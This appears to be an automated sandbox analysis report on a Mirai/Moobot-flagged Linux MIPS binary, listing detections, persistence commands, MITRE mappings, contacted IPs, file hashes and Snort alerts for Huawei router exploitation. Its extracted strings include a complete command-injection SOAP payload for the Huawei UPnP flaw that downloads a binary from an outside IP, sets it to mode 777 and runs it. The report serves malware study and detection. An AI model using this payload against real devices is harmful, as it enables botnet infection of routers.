              Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: Initial sampleString containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
              Source: Initial sampleString containing 'busybox' found: bin/busybox
              Source: Initial sampleString containing 'busybox' found: /bin/busybox
              Source: Initial sampleString containing 'busybox' found: f%s:%dwebservbinbin/busyboxbin/watchdogbin/systemd/bin/busybox/bin/watchdog/bin/systemdw5q6he3dbrsgmclkiu4to18npavj702f@
              Source: classification engineClassification label: mal92.troj.linELF@0/0@105/0

              Persistence and Installation Behavior

              barindex
              Sets full permissions to files and/or directories
              Source: /bin/sh (PID: 6237)Chmod executable with 777: /usr/bin/chmod -> chmod 777 bin/systemd
              Source: /bin/sh (PID: 6235)Mkdir executable: /usr/bin/mkdir -> mkdir bin
              Source: /bin/sh (PID: 6237)Chmod executable: /usr/bin/chmod -> chmod 777 bin/systemd
              Source: /usr/bin/chmod (PID: 6237)File: /tmp/bin/systemd (bits: - usr: rwx grp: rwx all: rwx)Jump to behavior
              Source: /tmp/6lqMB7o2Ts.elf (PID: 6232)Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/6lqMB7o2Ts.elf bin/systemd; chmod 777 bin/systemd"
              Source: /bin/sh (PID: 6234)Rm executable: /usr/bin/rm -> rm -rf bin/systemd

              Hooking and other Techniques for Hiding and Protection

              barindex
              Uses known network protocols on non-standard ports
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 41076 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 41076
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 46544 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45438 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 55228 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52002 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52002 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 52002 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 58734 -> 37215
              Source: unknownNetwork traffic detected: HTTP traffic on port 37215 -> 58734
              Source: unknownNetwork traffic detected: HTTP traffic on port 50306 -> 37215
              Source: /tmp/6lqMB7o2Ts.elf (PID: 6230)Queries kernel information via 'uname':
              Source: 6lqMB7o2Ts.elf, 6230.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/6lqMB7o2Ts.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/6lqMB7o2Ts.elf
              Source: 6lqMB7o2Ts.elf, 6230.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
              Source: 6lqMB7o2Ts.elf, 6230.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.000055c9a9a81000.000055c9a9b08000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mipsel
              Source: 6lqMB7o2Ts.elf, 6230.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmp, 6lqMB7o2Ts.elf, 6240.1.00007ffdb5c81000.00007ffdb5ca2000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel

              Stealing of Sensitive Information

              barindex
              Yara detected Mirai
              Source: Yara matchFile source: 6lqMB7o2Ts.elf, type: SAMPLE
              Source: Yara matchFile source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Yara detected Moobot
              Source: Yara matchFile source: 6lqMB7o2Ts.elf, type: SAMPLE
              Source: Yara matchFile source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Mirai
              Source: Yara matchFile source: 6lqMB7o2Ts.elf, type: SAMPLE
              Source: Yara matchFile source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Yara detected Moobot
              Source: Yara matchFile source: 6lqMB7o2Ts.elf, type: SAMPLE
              Source: Yara matchFile source: 6230.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: 6240.1.00007fd3fc400000.00007fd3fc414000.r-x.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: 6lqMB7o2Ts.elf PID: 6230, type: MEMORYSTR

              Mitre Att&ck Matrix

              Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
              Valid Accounts1
              Scripting              		Path InterceptionPath Interception2
              File and Directory Permissions Modification              		OS Credential Dumping11
              Security Software Discovery              		Remote ServicesData from Local SystemExfiltration Over Other Network Medium1
              Encrypted Channel              		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
              Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
              Scripting              		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth11
              Non-Standard Port              		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
              Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
              File Deletion              		Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated Exfiltration2
              Non-Application Layer Protocol              		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
              Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Binary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled Transfer3
              Application Layer Protocol              		SIM Card SwapCarrier Billing Fraud

              Malware Configuration

              ⊘No configs have been found

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Number of created Files
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 830828 Sample: 6lqMB7o2Ts.elf Startdate: 20/03/2023 Architecture: LINUX Score: 92 27 197.190.238.237, 37215 zain-asGH Ghana 2->27 29 197.186.206.49, 37215 airtel-tz-asTZ Tanzania United Republic of 2->29 31 99 other IPs or domains 2->31 33 Snort IDS alert for network traffic 2->33 35 Malicious sample detected (through community Yara rule) 2->35 37 Multi AV Scanner detection for submitted file 2->37 39 4 other signatures 2->39 8 6lqMB7o2Ts.elf 2->8         started        signatures3 process4 process5 10 6lqMB7o2Ts.elf sh 8->10         started        12 6lqMB7o2Ts.elf 8->12         started        process6 14 sh chmod 10->14         started        17 sh rm 10->17         started        19 sh mkdir 10->19         started        21 sh mv 10->21         started        23 6lqMB7o2Ts.elf 12->23         started        25 6lqMB7o2Ts.elf 12->25         started        signatures7 41 Sets full permissions to files and/or directories 14->41

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              6lqMB7o2Ts.elf59%ReversingLabsLinux.Trojan.Mirai
              6lqMB7o2Ts.elf61%VirustotalBrowse

              Dropped Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              ⊘No Antivirus matches

              Domains and IPs

              Contacted Domains

              ⊘No contacted domains info

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://schemas.xmlsoap.org/soap/encoding/6lqMB7o2Ts.elffalse
                		high
                http://schemas.xmlsoap.org/soap/envelope/6lqMB7o2Ts.elffalse
                  		high

                  World Map of Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public IPs

                  IPDomainCountryFlagASNASN NameMalicious
                  87.213.190.11
                  		unknownNetherlands
                  		13127VERSATELASfortheTrans-EuropeanTele2IPTransportbackbofalse
                  41.36.131.167
                  		unknownEgypt
                  		8452TE-ASTE-ASEGfalse
                  197.58.66.159
                  		unknownEgypt
                  		8452TE-ASTE-ASEGfalse
                  197.220.190.33
                  		unknownGhana
                  		37341GLOMOBILEGHfalse
                  197.86.54.125
                  		unknownSouth Africa
                  		10474OPTINETZAfalse
                  157.203.49.95
                  		unknownUnited Kingdom
                  		21369SEMA-UK-ASGBfalse
                  39.79.149.79
                  		unknownChina
                  		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
                  157.48.46.102
                  		unknownIndia
                  		55836RELIANCEJIO-INRelianceJioInfocommLimitedINfalse
                  75.125.242.147
                  		unknownUnited States
                  		36351SOFTLAYERUSfalse
                  197.13.10.216
                  		unknownTunisia
                  		37504MeninxTNfalse
                  39.117.85.134
                  		unknownKorea Republic of
                  		9318SKB-ASSKBroadbandCoLtdKRfalse
                  157.202.188.31
                  		unknownUnited States
                  		1759TSF-IP-CORETeliaFinlandOyjEUfalse
                  157.40.6.77
                  		unknownIndia
                  		55836RELIANCEJIO-INRelianceJioInfocommLimitedINfalse
                  86.55.14.254
                  		unknownIran (ISLAMIC Republic Of)
                  		197207MCCI-ASIRfalse
                  157.129.143.141
                  		unknownFinland
                  		41701CAP-FIN-ASFIfalse
                  41.16.118.241
                  		unknownSouth Africa
                  		36994Vodacom-VBZAfalse
                  157.90.119.127
                  		unknownUnited States
                  		766REDIRISRedIRISAutonomousSystemESfalse
                  197.233.216.89
                  		unknownNamibia
                  		36999TELECOM-NAMIBIANAfalse
                  41.205.82.241
                  		unknownCameroon
                  		36905Creolink-ASNCMfalse
                  197.210.52.180
                  		unknownNigeria
                  		29465VCG-ASNGfalse
                  197.31.140.190
                  		unknownTunisia
                  		37492ORANGE-TNfalse
                  41.242.195.81
                  		unknownSouth Africa
                  		37105NEOLOGY-ASZAfalse
                  41.220.60.244
                  		unknownunknown
                  		36900UNASSIGNEDfalse
                  197.240.218.219
                  		unknownunknown
                  		37705TOPNETTNfalse
                  177.234.21.222
                  		unknownMexico
                  		13591MexicoReddeTelecomunicacionesSdeRLdeCVMXfalse
                  157.245.2.251
                  		unknownUnited States
                  		14061DIGITALOCEAN-ASNUSfalse
                  41.172.244.43
                  		unknownSouth Africa
                  		36937Neotel-ASZAfalse
                  197.65.94.91
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  41.190.129.206
                  		unknownMauritius
                  		36997INFOCOM-UGfalse
                  197.176.2.41
                  		unknownKenya
                  		33771SAFARICOM-LIMITEDKEfalse
                  157.180.38.236
                  		unknownSweden
                  		22192SSHENETUSfalse
                  41.116.198.169
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  157.29.116.114
                  		unknownItaly
                  		8968BT-ITALIAITfalse
                  197.186.206.49
                  		unknownTanzania United Republic of
                  		37133airtel-tz-asTZfalse
                  41.177.165.227
                  		unknownSouth Africa
                  		36874CybersmartZAfalse
                  197.31.148.1
                  		unknownTunisia
                  		37492ORANGE-TNfalse
                  41.243.103.146
                  		unknownCongo The Democratic Republic of The
                  		37684ANGANI-ASKEfalse
                  41.182.10.68
                  		unknownNamibia
                  		36996TELECOM-NAMIBIANAfalse
                  41.95.189.153
                  		unknownSudan
                  		36998SDN-MOBITELSDfalse
                  157.77.107.252
                  		unknownJapan4678FINECanonITSolutionsIncJPfalse
                  157.250.6.188
                  		unknownUnited States
                  		32934FACEBOOKUSfalse
                  197.16.224.23
                  		unknownTunisia
                  		37693TUNISIANATNfalse
                  166.248.166.103
                  		unknownUnited States
                  		22394CELLCOUSfalse
                  67.231.248.15
                  		unknownUnited States
                  		40244TURNKEY-INTERNETUSfalse
                  157.74.15.86
                  		unknownJapan131932JEIS-NETJREastInformationSystemsCompanyJPfalse
                  99.255.49.46
                  		unknownCanada
                  		812ROGERS-COMMUNICATIONSCAfalse
                  41.145.58.85
                  		unknownSouth Africa
                  		5713SAIX-NETZAfalse
                  41.133.99.106
                  		unknownSouth Africa
                  		10474OPTINETZAfalse
                  181.155.228.131
                  		unknownColombia
                  		26611COMCELSACOfalse
                  157.47.196.245
                  		unknownIndia
                  		55836RELIANCEJIO-INRelianceJioInfocommLimitedINfalse
                  148.230.177.14
                  		unknownMexico
                  		3549LVLT-3549USfalse
                  197.12.205.119
                  		unknownTunisia
                  		37703ATLAXTNfalse
                  157.1.148.117
                  		unknownJapan2907SINET-ASResearchOrganizationofInformationandSystemsNfalse
                  197.190.238.237
                  		unknownGhana
                  		37140zain-asGHfalse
                  41.216.159.4
                  		unknownBurkina Faso
                  		37073IPP-burkina-asBFfalse
                  41.120.89.167
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  197.9.0.253
                  		unknownTunisia
                  		5438ATI-TNfalse
                  24.132.41.40
                  		unknownNetherlands
                  		6830LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHoldingfalse
                  157.94.173.77
                  		unknownFinland
                  		51164CYBERCOM-FICybercomFinlandOyFIfalse
                  157.172.225.252
                  		unknownFrance
                  		22192SSHENETUSfalse
                  197.89.97.51
                  		unknownSouth Africa
                  		10474OPTINETZAfalse
                  41.88.141.232
                  		unknownEgypt
                  		33771SAFARICOM-LIMITEDKEfalse
                  197.72.190.161
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  197.158.15.171
                  		unknownMozambique
                  		30619TDM-ASMZfalse
                  169.186.225.238
                  		unknownUnited States
                  		37611AfrihostZAfalse
                  157.108.225.9
                  		unknownJapan2516KDDIKDDICORPORATIONJPfalse
                  41.143.116.57
                  		unknownMorocco
                  		36903MT-MPLSMAfalse
                  41.69.75.113
                  		unknownEgypt
                  		24835RAYA-ASEGfalse
                  197.219.202.95
                  		unknownMozambique
                  		37342MOVITELMZfalse
                  111.71.132.78
                  		unknownTaiwan; Republic of China (ROC)
                  		17421EMOME-NETMobileBusinessGroupTWfalse
                  98.30.11.116
                  		unknownUnited States
                  		10796TWC-10796-MIDWESTUSfalse
                  126.32.30.4
                  		unknownJapan17676GIGAINFRASoftbankBBCorpJPfalse
                  213.95.251.204
                  		unknownGermany
                  		12337NORIS-NETWORKITServiceProviderlocatedinNuernbergGermfalse
                  95.199.194.164
                  		unknownSweden
                  		3301TELIANET-SWEDENTeliaCompanySEfalse
                  41.179.133.53
                  		unknownEgypt
                  		24863LINKdotNET-ASEGfalse
                  197.37.36.139
                  		unknownEgypt
                  		8452TE-ASTE-ASEGfalse
                  197.82.246.62
                  		unknownSouth Africa
                  		10474OPTINETZAfalse
                  157.21.225.99
                  		unknownUnited States
                  		53446EVMSUSfalse
                  197.66.218.65
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  41.18.169.222
                  		unknownSouth Africa
                  		29975VODACOM-ZAfalse
                  157.232.147.215
                  		unknownUnited States
                  		4704SANNETRakutenMobileIncJPfalse
                  197.204.213.172
                  		unknownAlgeria
                  		36947ALGTEL-ASDZfalse
                  197.4.89.169
                  		unknownTunisia
                  		5438ATI-TNfalse
                  64.157.89.206
                  		unknownUnited States
                  		3064AFFINITY-FTLUSfalse
                  41.176.43.255
                  		unknownEgypt
                  		36992ETISALAT-MISREGfalse
                  41.182.22.210
                  		unknownNamibia
                  		36996TELECOM-NAMIBIANAfalse
                  77.6.87.85
                  		unknownGermany
                  		6805TDDE-ASN1DEfalse
                  77.74.199.254
                  		unknownUnited Kingdom
                  		42831UKSERVERS-ASUKDedicatedServersHostingandCo-Locationfalse
                  163.208.44.35
                  		unknownJapan7502IP-KYOTOAdvancedSoftwareTechnologyManagementResearchfalse
                  157.37.30.219
                  		unknownIndia
                  		55836RELIANCEJIO-INRelianceJioInfocommLimitedINfalse
                  41.77.59.125
                  		unknownSouth Africa
                  		36985GMSZAfalse
                  41.14.238.56
                  		unknownSouth Africa
                  		29975VODACOM-ZAfalse
                  138.176.152.51
                  		unknownUnited States
                  		721DNIC-ASBLK-00721-00726USfalse
                  41.74.140.210
                  		unknownCape Verde
                  		37517CV-MultimediaCVfalse
                  197.73.232.43
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  157.148.116.61
                  		unknownChina
                  		136958UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCNfalse
                  41.125.107.227
                  		unknownSouth Africa
                  		16637MTNNS-ASZAfalse
                  157.230.191.4
                  		unknownUnited States
                  		14061DIGITALOCEAN-ASNUSfalse
                  197.185.70.90
                  		unknownSouth Africa
                  		37105NEOLOGY-ASZAfalse
                  157.204.30.224
                  		unknownUnited States
                  		54216GORE-NETWORKUSfalse

                  Joe Sandbox View / Context

                  IPs

                  ⊘No context

                  Domains

                  ⊘No context

                  ASNs

                  ⊘No context

                  JA3 Fingerprints

                  ⊘No context

                  Dropped Files

                  ⊘No context

                  Created / dropped Files

                  ⊘No created / dropped files found

                  Static File Info

                  General

                  File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                  Entropy (8bit):5.52397672760205
                  TrID:
                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                  File name:6lqMB7o2Ts.elf
                  File size:84780
                  MD5:1f34c5bcd411c95d5bdff565afd27afd
                  SHA1:39a1f8fff95e7c4d693d0d3fbc2d49749f3ba395
                  SHA256:a9b25052579b7f41a1f985ed6d95f0eef2f00e8ad0e9a16dafad5ea38cb1b128
                  SHA512:e1a92b793af4d9bdba266b6e7c54098a86c87e440d93cb26953a953272d3e783b7c365993d42f346e72dc912971fde5c3311aa38ef17d4d3e111e28579c8822f
                  SSDEEP:1536:iVLyu95KRKKkj752dCexuV/8UZlDwfkJ4MYfWa:iVLyMgWFezxu5VD1eX
                  TLSH:1683D606BB510FF7DC6FCD370AE91702348C594A22A97B367634D828F65B24B59E3CA4
                  File Content Preview:.ELF....................`.@.4....H......4. ...(...............@...@..;...;...............@...@E..@E......+..........Q.td...............................<\..'!......'.......................<8..'!... .........9'.. ........................<...'!.............9

                  Static ELF Info

                  ELF header

                  Class:
                  Data:
                  Version:
                  Machine:
                  Version Number:
                  Type:
                  OS/ABI:
                  ABI Version:
                  Entry Point Address:
                  Flags:
                  ELF Header Size:
                  Program Header Offset:
                  Program Header Size:
                  Number of Program Headers:
                  Section Header Offset:
                  Section Header Size:
                  Number of Section Headers:
                  Header String Table Index:

                  Sections

                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                  NULL0x00x00x00x00x0000
                  .initPROGBITS0x4000940x940x8c0x00x6AX004
                  .textPROGBITS0x4001200x1200x11b100x00x6AX0016
                  .finiPROGBITS0x411c300x11c300x5c0x00x6AX004
                  .rodataPROGBITS0x411c900x11c900x1f000x00x2A0016
                  .ctorsPROGBITS0x4540000x140000x80x00x3WA004
                  .dtorsPROGBITS0x4540080x140080x80x00x3WA004
                  .data.rel.roPROGBITS0x4540140x140140x440x00x3WA004
                  .dataPROGBITS0x4540600x140600x3a00x00x3WA0016
                  .gotPROGBITS0x4544000x144000x4980x40x10000003WAp0016
                  .sbssNOBITS0x4548980x148980x1c0x00x10000003WAp004
                  .bssNOBITS0x4548c00x148980x22500x00x3WA0016
                  .mdebug.abi32PROGBITS0x9c60x148980x00x00x0001
                  .shstrtabSTRTAB0x00x148980x640x00x0001

                  Program Segments

                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                  LOAD0x00x4000000x4000000x13b900x13b905.60310x5R E0x10000.init .text .fini .rodata
                  LOAD0x140000x4540000x4540000x8980x2b103.87630x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                  Network Behavior

                  Snort IDS Alerts

                  TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                  192.168.2.23191.61.26.7952002372152835222 03/20/23-18:15:41.479492TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5200237215192.168.2.23191.61.26.79
                  192.168.2.2341.239.25.9858734372152835222 03/20/23-18:16:18.194286TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5873437215192.168.2.2341.239.25.98
                  192.168.2.2377.136.237.16045516372152835222 03/20/23-18:14:44.802279TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4551637215192.168.2.2377.136.237.160
                  192.168.2.23103.54.44.13350306372152835222 03/20/23-18:15:01.586540TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5030637215192.168.2.23103.54.44.133
                  192.168.2.23104.128.127.22846544372152835222 03/20/23-18:15:22.996810TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4654437215192.168.2.23104.128.127.228
                  192.168.2.2341.238.196.11641076372152835222 03/20/23-18:14:59.321194TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4107637215192.168.2.2341.238.196.116
                  192.168.2.2334.120.131.845438372152835222 03/20/23-18:15:29.072769TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)4543837215192.168.2.2334.120.131.8
                  192.168.2.2394.187.108.18555228372152835222 03/20/23-18:15:36.209617TCP2835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)5522837215192.168.2.2394.187.108.185

                  Network Port Distribution

                  TCP Packets

                  TimestampSource PortDest PortSource IPDest IP
                  Mar 20, 2023 18:14:40.715014935 CET3614237215192.168.2.23197.177.188.105
                  Mar 20, 2023 18:14:40.715137959 CET3614237215192.168.2.2341.59.173.161
                  Mar 20, 2023 18:14:40.715172052 CET3614237215192.168.2.23157.84.173.102
                  Mar 20, 2023 18:14:40.715186119 CET3614237215192.168.2.23157.172.201.119
                  Mar 20, 2023 18:14:40.715229034 CET3614237215192.168.2.2341.88.124.244
                  Mar 20, 2023 18:14:40.715279102 CET3614237215192.168.2.23197.234.113.162
                  Mar 20, 2023 18:14:40.715279102 CET3614237215192.168.2.2341.240.223.204
                  Mar 20, 2023 18:14:40.715289116 CET3614237215192.168.2.23197.159.13.122
                  Mar 20, 2023 18:14:40.715311050 CET3614237215192.168.2.2341.187.14.3
                  Mar 20, 2023 18:14:40.715375900 CET3614237215192.168.2.23157.109.52.196
                  Mar 20, 2023 18:14:40.715419054 CET3614237215192.168.2.2341.28.198.60
                  Mar 20, 2023 18:14:40.715439081 CET3614237215192.168.2.23157.48.46.102
                  Mar 20, 2023 18:14:40.715451002 CET3614237215192.168.2.2341.213.200.22
                  Mar 20, 2023 18:14:40.715518951 CET3614237215192.168.2.23157.108.205.143
                  Mar 20, 2023 18:14:40.715581894 CET3614237215192.168.2.23148.94.3.83
                  Mar 20, 2023 18:14:40.715616941 CET3614237215192.168.2.23197.37.53.79
                  Mar 20, 2023 18:14:40.715648890 CET3614237215192.168.2.23157.156.162.199
                  Mar 20, 2023 18:14:40.715677023 CET3614237215192.168.2.23157.205.17.4
                  Mar 20, 2023 18:14:40.715698957 CET3614237215192.168.2.2341.173.117.4
                  Mar 20, 2023 18:14:40.715728045 CET3614237215192.168.2.23197.35.113.47
                  Mar 20, 2023 18:14:40.715751886 CET3614237215192.168.2.2341.18.245.29
                  Mar 20, 2023 18:14:40.715771914 CET3614237215192.168.2.2341.91.82.148
                  Mar 20, 2023 18:14:40.715795040 CET3614237215192.168.2.23157.249.225.91
                  Mar 20, 2023 18:14:40.715818882 CET3614237215192.168.2.23157.38.65.127
                  Mar 20, 2023 18:14:40.715837002 CET3614237215192.168.2.23153.6.146.12
                  Mar 20, 2023 18:14:40.715878010 CET3614237215192.168.2.2341.165.42.202
                  Mar 20, 2023 18:14:40.715928078 CET3614237215192.168.2.23221.4.37.244
                  Mar 20, 2023 18:14:40.715949059 CET3614237215192.168.2.23207.233.206.196
                  Mar 20, 2023 18:14:40.715971947 CET3614237215192.168.2.2376.155.143.172
                  Mar 20, 2023 18:14:40.715996981 CET3614237215192.168.2.2341.85.67.18
                  Mar 20, 2023 18:14:40.716017008 CET3614237215192.168.2.23197.222.143.196
                  Mar 20, 2023 18:14:40.716042042 CET3614237215192.168.2.2341.115.11.233
                  Mar 20, 2023 18:14:40.716078043 CET3614237215192.168.2.23157.60.205.239
                  Mar 20, 2023 18:14:40.716131926 CET3614237215192.168.2.23197.100.148.206
                  Mar 20, 2023 18:14:40.716147900 CET3614237215192.168.2.2362.145.68.134
                  Mar 20, 2023 18:14:40.716171026 CET3614237215192.168.2.23197.228.77.157
                  Mar 20, 2023 18:14:40.716192007 CET3614237215192.168.2.23180.9.6.101
                  Mar 20, 2023 18:14:40.716216087 CET3614237215192.168.2.2361.98.120.1
                  Mar 20, 2023 18:14:40.716234922 CET3614237215192.168.2.23197.20.252.229
                  Mar 20, 2023 18:14:40.716258049 CET3614237215192.168.2.2338.159.96.79
                  Mar 20, 2023 18:14:40.716276884 CET3614237215192.168.2.23157.227.185.30
                  Mar 20, 2023 18:14:40.716329098 CET3614237215192.168.2.23197.0.84.190
                  Mar 20, 2023 18:14:40.716358900 CET3614237215192.168.2.23197.177.127.55
                  Mar 20, 2023 18:14:40.716399908 CET3614237215192.168.2.23197.88.204.252
                  Mar 20, 2023 18:14:40.716419935 CET3614237215192.168.2.23197.95.151.221
                  Mar 20, 2023 18:14:40.716448069 CET3614237215192.168.2.2341.149.105.154
                  Mar 20, 2023 18:14:40.716491938 CET3614237215192.168.2.23197.89.253.13
                  Mar 20, 2023 18:14:40.716516018 CET3614237215192.168.2.23197.25.121.167
                  Mar 20, 2023 18:14:40.716535091 CET3614237215192.168.2.23197.6.247.30
                  Mar 20, 2023 18:14:40.716557026 CET3614237215192.168.2.23157.33.174.150
                  Mar 20, 2023 18:14:40.716583014 CET3614237215192.168.2.23197.85.159.199
                  Mar 20, 2023 18:14:40.716609955 CET3614237215192.168.2.23157.74.67.240
                  Mar 20, 2023 18:14:40.716628075 CET3614237215192.168.2.23197.101.97.14
                  Mar 20, 2023 18:14:40.716651917 CET3614237215192.168.2.2372.105.46.194
                  Mar 20, 2023 18:14:40.716695070 CET3614237215192.168.2.2341.181.81.43
                  Mar 20, 2023 18:14:40.716717958 CET3614237215192.168.2.2390.189.98.38
                  Mar 20, 2023 18:14:40.716741085 CET3614237215192.168.2.2341.47.217.188
                  Mar 20, 2023 18:14:40.716777086 CET3614237215192.168.2.23197.53.85.60
